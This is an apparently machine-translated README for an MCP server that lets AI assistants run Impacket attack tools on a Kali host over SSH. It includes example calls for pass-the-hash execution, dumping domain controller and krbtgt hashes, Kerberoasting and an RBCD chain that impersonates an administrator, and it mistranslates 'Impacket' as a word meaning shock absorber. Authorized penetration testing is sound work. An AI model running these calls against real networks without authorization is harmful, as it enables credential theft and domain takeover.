Impacket MCP服务器
   
一种模型上下文协议(MCP)服务器,提供对以下内容的访问 减震器 通过SSH将网络协议工具连接到Kali Linux主机。这使AI助手能够执行授权的渗透测试和Active Directory安全评估。
概述
此MCP服务器封装了Impacket的全套网络协议工具,提供:
- 远程执行:PsExec、WMIExec、SMBExec、DCOMExec、ATExec
- 凭证攻击:SecretsDump、AS-REP烘焙、Kerberoasting、LAPS
- Kerberos工具:TGT/TGS请求,金/银票创建
- 活动目录:用户/计算机枚举、委派攻击、RBCD
- SMB/网络:SMB客户端、NTLM中继、注册表操作、服务管理
- 数据库:支持xp_cmdshell的MSSQL客户端
先决条件
- Node.js 18+使用npm
- SSH访问 使用无密码密钥身份验证连接到Kali Linux主机
- 减震器 安装在Kali主机上(预装在Kali Linux上)
安装
# Clone the repository
git clone https://github.com/schwarztim/sec-impacket-mcp.git
cd sec-impacket-mcp
# Install dependencies
npm install
# Build the project
npm run build配置
环境变量
| 变量 | 描述 | 默认值 |
|---|---|---|
KALI_HOST | Kali Linux的SSH主机名 | kali |
SSH设置
确保对Kali主机的无密码SSH访问:
# Generate SSH key if needed
ssh-keygen -t ed25519 -C "mcp-impacket"
# Copy to Kali host
ssh-copy-id kali
# Verify connection
ssh kali "impacket-psexec --help"Claude桌面集成
添加到您的Claude Desktop配置(~/.config/claude/claude_desktop_config.json):
{
"mcpServers": {
"impacket": {
"command": "node",
"args": ["/path/to/sec-impacket-mcp/dist/index.js"],
"env": {
"KALI_HOST": "kali"
}
}
}
}可用工具
远程执行
| 工具 | 说明 |
|---|---|
impacket_psexec | 通过SMB/SCM执行类似PsExec的操作-上传服务二进制文件 |
impacket_wmiexec | WMI执行-更隐蔽,无需安装服务 |
impacket_smbexec | 使用本地SMB服务器执行SMB以进行输出 |
impacket_dcomexec | 基于DCOM的执行(MMC20、ShellWindows、ShellBrowserWindow) |
impacket_atexec | 基于任务调度器的执行 |
凭证攻击
| 工具 | 说明 |
|---|---|
impacket_secretsdump | 转储SAM、LSA机密、缓存凭据、NTDS.dit |
impacket_getnpusers | AS-REP烘焙-查找没有Kerberos预认证的用户 |
impacket_getuserspns | Kerberoasting-枚举SPN并请求TGS票证 |
impacket_getlapspassword | 检索LAPS本地管理员密码 |
Kerberos工具
| 工具 | 说明 |
|---|---|
impacket_gettgt | 请求Kerberos TGT进行传递票证攻击 |
impacket_getst | 请求Kerberos服务票证(TGS) |
impacket_ticketer | 创建金/银Kerberos票证 |
活动目录
| 工具 | 说明 |
|---|---|
impacket_getadusers | 枚举具有详细信息的AD用户 |
impacket_getadcomputers | 枚举AD计算机及其属性 |
impacket_lookupsid | 用于侦察的SID暴力计数 |
impacket_finddelegation | 查找委托关系(无约束、约束、RBCD) |
impacket_addcomputer | 将计算机帐户添加到域 |
impacket_rbcd | 配置基于资源的约束委派 |
SMB/网络
| 工具 | 说明 |
|---|---|
impacket_smbclient | 用于文件操作的SMB客户端 |
impacket_ntlmrelayx | NTLM将攻击中继到各种协议 |
impacket_reg | 远程注册表操作 |
impacket_services | 远程服务管理 |
其他
| 工具 | 说明 |
|---|---|
impacket_mssqlclient | 支持xp_cmdshell的MSSQL客户端 |
impacket_dpapi | 解密DPAPI保护的机密 |
身份验证方法
所有工具都支持多种身份验证方法:
| 方法 | 参数 | 示例 |
|---|---|---|
| 密码 | password | password: "P@ssw0rd" |
| NTLM哈希 | hashes | hashes: "aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" |
| AES密钥 | aesKey | aesKey: "abcdef1234..." |
| Kerberos | kerberos | kerberos: true |
使用示例
远程命令执行
// PsExec with password authentication
impacket_psexec({
target: "192.168.1.100",
domain: "CORP",
username: "admin",
password: "P@ssw0rd",
command: "whoami /all"
})
// WMIExec with NTLM hash (pass-the-hash)
impacket_wmiexec({
target: "192.168.1.100",
domain: "CORP",
username: "admin",
hashes: "aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0",
command: "ipconfig /all"
})凭证转储
// Dump domain controller secrets
impacket_secretsdump({
target: "dc01.corp.local",
domain: "CORP",
username: "admin",
password: "P@ssw0rd",
just_dc_ntlm: true
})
// Dump specific user from NTDS
impacket_secretsdump({
target: "dc01.corp.local",
domain: "CORP",
username: "admin",
hashes: "aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0",
just_dc_user: "krbtgt"
})Kerberos攻击
// Kerberoasting - request TGS for offline cracking
impacket_getuserspns({
target: "corp.local",
domain: "CORP",
username: "user",
password: "password",
dc_ip: "192.168.1.1",
request: true,
format: "hashcat"
})
// AS-REP Roasting - find vulnerable accounts
impacket_getnpusers({
target: "corp.local",
dc_ip: "192.168.1.1",
usersfile: "/tmp/users.txt",
request: true,
format: "hashcat"
})
// Request TGT for pass-the-ticket
impacket_gettgt({
target: "CORP/admin",
password: "P@ssw0rd",
dc_ip: "192.168.1.1"
})Active Directory枚举
// Enumerate all domain users
impacket_getadusers({
target: "corp.local",
domain: "CORP",
username: "user",
password: "password",
dc_ip: "192.168.1.1",
all: true
})
// Find delegation vulnerabilities
impacket_finddelegation({
target: "corp.local",
domain: "CORP",
username: "user",
password: "password",
dc_ip: "192.168.1.1"
})
// SID enumeration for reconnaissance
impacket_lookupsid({
target: "192.168.1.1",
domain: "CORP",
username: "guest",
password: "",
max_rid: 5000
})RBCD攻击链
// 1. Add a computer account
impacket_addcomputer({
target: "corp.local",
domain: "CORP",
username: "user",
password: "password",
dc_ip: "192.168.1.1",
computer_name: "EVIL$",
computer_pass: "Computer123!"
})
// 2. Configure RBCD on target
impacket_rbcd({
target: "corp.local",
domain: "CORP",
username: "user",
password: "password",
dc_ip: "192.168.1.1",
delegate_to: "TARGET-SERVER$",
delegate_from: "EVIL$",
action: "write"
})
// 3. Request service ticket with impersonation
impacket_getst({
target: "CORP/EVIL$",
password: "Computer123!",
spn: "cifs/TARGET-SERVER.corp.local",
dc_ip: "192.168.1.1",
impersonate: "administrator"
})安全考虑
此工具仅用于授权的安全测试。
- 测试前始终获得适当的授权
- 尽可能在隔离的实验室环境中使用
- 遵循负责任的披露做法
- 遵守所有适用的法律法规
发展
# Install dependencies
npm install
# Build TypeScript
npm run build
# Watch mode for development
npm run dev相关项目
- 减震器 -底层网络协议库
- 模型上下文协议 -MCP规范
- Kali Linux -渗透测试分布
许可证
MIT许可证-请参阅 许可证 了解详情。
免责声明
此软件仅用于教育和授权的安全测试目的。作者不对该软件造成的任何误用或损坏负责。在进行任何安全评估之前,始终确保您有适当的授权。
